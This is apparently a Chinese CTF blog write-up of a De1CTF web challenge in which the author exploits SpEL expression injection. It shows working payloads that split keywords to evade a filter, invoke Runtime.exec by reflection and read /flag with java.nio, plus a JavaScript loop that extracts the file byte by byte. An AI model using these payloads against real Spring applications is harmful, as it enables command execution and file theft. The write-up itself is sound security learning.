[CTF] SpEL 表达式与文件读取

摸了这次的 De1CTF,深感自己知识积累不够。这次解出的唯一一道 Web 题是 SpEL 注入题,我们就从这道题入手来了解一下吧(

题面

题目描述如下:

Please calculate the content of file /flag
http://tounikaku_server_addr/

题目本体给的是一个计算器:

经过观察,发现本质是调用 /spel/calc 进行计算:

其实这里的 spel 已经算是提示了,但第一次接触并看不出来.jpg((,所以到了接口先试了一下 xjb 表达式:

搜了一下 EL1044E,确认是 SpEL 了。

SpEL 简介

SpEL,全程 Spring Expression Language,顾名思义,是 Spring 提供的表达式执行语言。从 CTF 的角度来说,我们需要了解这些:

数组

不可修改

不可修改的数组可以通过 {a, a, b} 实现,构造的是 java.util.Collections$UnmodifiableRandomAccessList

可修改

数组可以通过 {a, b + c} 实现。和集合相比,其最大的区别就是多了一次运算。注意到上面的 Unmidifiable 了吗?当不存在运算时,SpEL 默认所有内容都是不可修改的;但一旦引入了运算,就代表数组(或其他容器)中的内容是需要修改的,因此对应构造的容器也就变成了 java.util.ArrayList

值得注意的是,这里可以通过 ArrayList.toArray() 生成 Object[]

Map

Map 同样分为可修改和不可修改,对应的分别是 java.util.Collections$UnmodifiableMapjava.util.LinkedHashMap。创建的格式类似 JSON,这里就直接略过了。

[] 运算符

[] 运算符的作用是获取数组/Map 中的内容(属性),因此利用这个可以获得类中成员的值

整体语法和 JS 类似,但是有一些例外。对于 String 而言,[] 只能通过下标访问字符,因此 ''['class'] 会报错而 ''.class 没有问题。

(不知道是不是这道题的问题,待确认

new

在 SpEL 中可以通过 new 来创建对象,使用方式和 Java 相同。但由于这里的题目本身 WAF 了 new,因此题解中并没有用到。

T(class)

使用诸如 T(java.lang.Runtime) 的结构可以获得一个该类本身的引用,之后就可以执行其对应的静态函数了。但同样是上面的原因,由于 WAF 了 T(,因此本题没有用到。

构造尝试:java.lang.Runtime

首先是测了一下 WAF 过滤的内容:

  • java.lang
  • new
  • getClass
  • T(
  • #
  • String
  • getMethod('exec').invoke()
  • Runtime
  • exec(

绕过 T(

由于 T( 被限制,因此我们需要通过另一种方式绕过 T(。这里我们使用的是 forName

''.class.forName('java'+'.lang.R'+'untime')

获取 getRuntime

由于 getRuntime 存在被过滤单词,因此只能通过反射获取方法:

''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime'))

成功获得 Runtime 实例:

exec

使用类似的方法构造 exec,并尝试执行:

''.class.forName('java'+'.lang.R'+'untime').getMethod('ex'+'ec', ''.class).invoke(''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime')),'ls')

然而,执行的结果表明:使用了 openrasp

由于 openrasp 不同于普通的 WAF,我这里没有想到办法绕过。这个方案可以说是失败了。

构造尝试:java.nio

文件读取

得到了 @SeraphJack 的指点

这里尝试通过 java.nio 直接读取文件。题目告诉我们要去 /flag 读,因此只要尝试读取 /flag 的内容就可以了。

''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))

这里直接返回了一个 byte[],看来是成功了。

获取内容

逐字符获取

通过下标访问可以获得每个字符的内容,然后 xjb 写个脚本就可以了:

arr = [];

func = (i) =>
  fetch(
    "http://106.52.164.141/spel/calc?calc=" +
      escape(
        `''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))[${i}]`
      )
  )
    .then((t) => t.text())
    .then((t) => arr.push(String.fromCharCode(t)));

for (let i = 0; i < 44; i++) await func(i);

(然而之前翻车了

最终正常拼接得到结果。

直接转换

依然是得到了指点(

尝试用这种方法获取字符串:

直接就读出来了(

总结

嘛,总之这题应该算是 SpEL 的入门题吧考验的还是 Java 功底。题中直接给出了 SpEL 的执行环境,而不是要靠我们去发掘。这至少告诉了我们在做 Java 题的时候还有这样一种注入手段,也是我们在使用 Spring 时所需要留意的,除去 SQL 注入的另一种注入漏洞。

参考

SPEL表达式注入-入门篇

由浅入深SpEL表达式注入漏洞

暂无评论

发送评论 编辑评论


				
上一篇
下一篇